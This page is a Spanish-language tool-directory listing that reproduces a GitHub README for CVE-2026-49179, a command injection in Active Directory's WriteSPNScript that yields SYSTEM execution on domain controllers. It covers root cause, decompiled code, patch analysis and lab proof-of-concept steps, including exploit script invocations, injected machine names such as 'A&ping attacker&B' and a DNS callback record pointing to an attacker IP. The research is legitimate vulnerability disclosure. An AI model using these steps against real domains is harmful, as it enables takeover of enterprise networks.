Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection — Pruebas de concepto y scripts de exploit para CVE-2026-49179, una inyección de comandos en la función WriteSPNScript de Active Directory que permite RCE como SYSTEM en controladores de dominio. | Kitploit
Herramientas/GitHubGitHub/overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de Penetración
GitHubovergrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

Pruebas de concepto y scripts de exploit para CVE-2026-49179, una inyección de comandos en la función WriteSPNScript de Active Directory que permite RCE como SYSTEM en controladores de dominio.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
5254hace 1 mesAún no revisado

CVE-2026-49179: Inyección de comandos en WriteSPNScript de Active Directory

Resumen

CampoValor
ID de CVECVE-2026-49179
CVSS8.8 (AV:N/AC:L/PR:L/UI:N)
CWECWE-77 (Inyección de comandos)
Componente afectadontdsai.dll — función WriteSPNScript
Sistemas afectadosWindows Server 2016, 2019, 2022, 2025 (sin parchear)
Vector de ataqueUsuario de dominio autenticado (cualquiera)
ImpactoEjecución remota de código como SYSTEM en el controlador de dominio
PublicadoAgosto de 2026

Descripción de la vulnerabilidad

La función WriteSPNScript en ntdsai.dll genera comandos de script por lotes para la remediación de SPN (Service Principal Name) durante las operaciones de mantenimiento de Active Directory. La función utiliza una cadena de formato para construir comandos repadmin.exe /writespn, pero no sanea el parámetro Distinguished Name (DN), lo que permite la inyección de comandos mediante el carácter & (separador de comandos de cmd.exe).

La cadena de formato vulnerable:

%ws\repadmin.exe /writespn %ws %ws %ws\r\n

Parámetros: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value

El DN se deriva del Common Name (CN) de la cuenta de máquina, que se establece durante la creación de la cuenta. Cuando se crea una cuenta de máquina con metacaracteres de shell en su nombre, esos caracteres fluyen sin escapar al script generado. Cuando cmd.exe ejecuta el script, & actúa como separador de comandos, ejecutando comandos controlados por el atacante como SYSTEM.

Análisis de la causa raíz

La brecha de validación: SAMR vs LDAP

Active Directory tiene dos protocolos principales para gestionar cuentas de máquina:

ProtocoloValidación de caracteresMetacaracteres de shell
LDAP (valores SPN)Estricta — CONSTRAINT_ATT_TYPE rechaza & ; | ' \ $ ( )`Bloqueados
SAMR (nombres de máquina)Laxa — valida el formato básico del nombre de cuentaPermitidos: & ' \ $ ( ) ! space`

Esta asimetría de validación es la causa raíz:

  • La validación de SPN en LDAP bloquea todos los caracteres peligrosos en los valores SPN (callejón sin salida para la inyección vía SPN)
  • La creación de cuentas vía SAMR permite metacaracteres de shell en sAMAccountName, que se convierte en el CN y fluye hacia el DN
  • El DN se pasa a WriteSPNScript sin sanitización

Código vulnerable (ntdsai.dll base)

En la dirección 0x1802a98a0 del binario sin parchear:

void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
    STRSAFE_LPSTR pszDest;  // ANSI output buffer
    char local_288[47];     // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
    WCHAR local_258[264];   // System directory

    GetSystemDirectoryW(local_258, 0x104);

    // Calculate buffer size (sum of all string lengths + overhead)
    uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;

    // Allocate and format — NO ESCAPING of DN or SPN parameters
    pszDest = THAlloc_(param_1, 1, uVar4, 1);
    StringCchPrintfA(pszDest, uVar4, local_288, local_258);

    // Write to script file handle
    WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}

StringCchPrintfA formatea el DN directamente en el búfer de salida. Sin escape, sin comillas, sin sanitización.

Salida generada (vulnerable)

Para una máquina con CN=A&ping attacker&B:

C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B

cmd.exe interpreta esto como cinco sentencias separadas:

#SentenciaResultado
1C:\...\repadmin.exe /writespn ADD CN=AFalla (DN truncado)
2ping attackerINYECTADO — se ejecuta como SYSTEM
3B,CN=Computers,DC=... HOST/AFalla (no es un comando válido)
4ping attackerINYECTADO — se ejecuta de nuevo (desde el parámetro SPN)
5BFalla (no es un comando válido)

El comando inyectado aparece dos veces — una desde el parámetro DN y otra desde el parámetro SPN (que también contiene el nombre de la máquina).

Análisis del parche

El WriteSPNScript parcheado (tamaño: 1477 → 2005 bytes) introduce tres cambios:

1. Funciones de escape añadidas

Dos nuevas funciones de saneamiento aplicadas a ambos parámetros DN y SPN:

  • EscapeForPowerShellSingleQuote() — escapa ' para evitar la ruptura de las cadenas entre comillas simples
  • EscapeForNativeArgvBackslashesBeforeDoubleQuote() — escapa las secuencias \ antes de " para el análisis de argv nativo

2. Cambio en el formato de salida

Base (Vulnerable)Parcheado
FunciónStringCchPrintfA (ANSI)StringCchPrintfW (Wide/Unicode)
EntrecomilladoNingunoParámetros entre comillas simples
Salidarepadmin /writespn ADD DN SPNrepadmin /writespn ADD 'escaped_DN' 'escaped_SPN'

3. Indicador de característica eliminado

Una revisión anterior tenía un indicador de característica Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled que condicionaba la corrección. En el parche final, este indicador fue eliminado — la corrección está siempre activa y no puede deshabilitarse.

Prueba de concepto

Entorno de prueba

HostRolIPSO
WINTERFELLControlador de dominio192.168.56.11Windows Server 2019
AtacanteKali Linux192.168.14.238Kali 2026
Dominionorth.sevenkingdoms.local
Usuario con pocos privilegiossamwell.tarly / HeartsbaneUsuario de dominio normal
Usuario administradorrobb.stark / sexywolfyAdministrador de dominio

Paso 1: Confirmar que SAMR acepta metacaracteres de shell

Usando spn_probe3.py, se probó qué caracteres acepta SAMR en los nombres de cuentas de equipo frente a los que acepta LDAP en los valores de SPN:

SAMR Machine Name Character Test (as samwell.tarly):
  [+] ACCEPTED  '   (single quote)     -> INJECT'A$  RID: 1123
  [+] ACCEPTED  `   (backtick)         -> INJECT`A$  RID: 1124
  [+] ACCEPTED  &   (ampersand)        -> INJECT&A$  RID: 1125
  [+] ACCEPTED  $   (dollar sign)      -> INJECT$A$  RID: 1126
  [+] ACCEPTED  (   (left paren)       -> INJECT(A$  RID: 1127
  [+] ACCEPTED  )   (right paren)      -> INJECT)A$  RID: 1128
  [+] ACCEPTED  !   (exclamation)      -> INJECT!A$  RID: 1129
  [+] ACCEPTED  ' ' (space)            -> INJECT A$  RID: 1130

LDAP SPN Validation (all 28 shell metacharacters tested):
  [-] ALL REJECTED with constraintViolation (DSID-033E109C)

Hallazgo clave: SAMR permite los 8 metacaracteres de shell probados. LDAP los bloquea todos. El vector de inyección es a través de nombres de máquina creados por SAMR, no a través de valores SPN.

Paso 2: Crear máquina de inyección como usuario de dominio normal

$ python3 spn_prl_exploit.py 192.168.56.11 \
    -d north.sevenkingdoms.local \
    -u samwell.tarly -p Heartsbane --payload benign

[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137

También creado como samwell.tarly:

[+] Created C&ping a&D$, RID: 1138

Confirmado: un usuario de dominio normal (PR:L) puede crear cuentas de equipo con inyección de comandos & en el nombre.

Paso 3: Añadir registro DNS para la callback (como usuario normal)

Los usuarios de dominio normales pueden añadir registros ADIDNS. Se usó dnstool.py para crear un nombre de host corto que apunte al atacante:

python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
    -r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
Descargar herramienta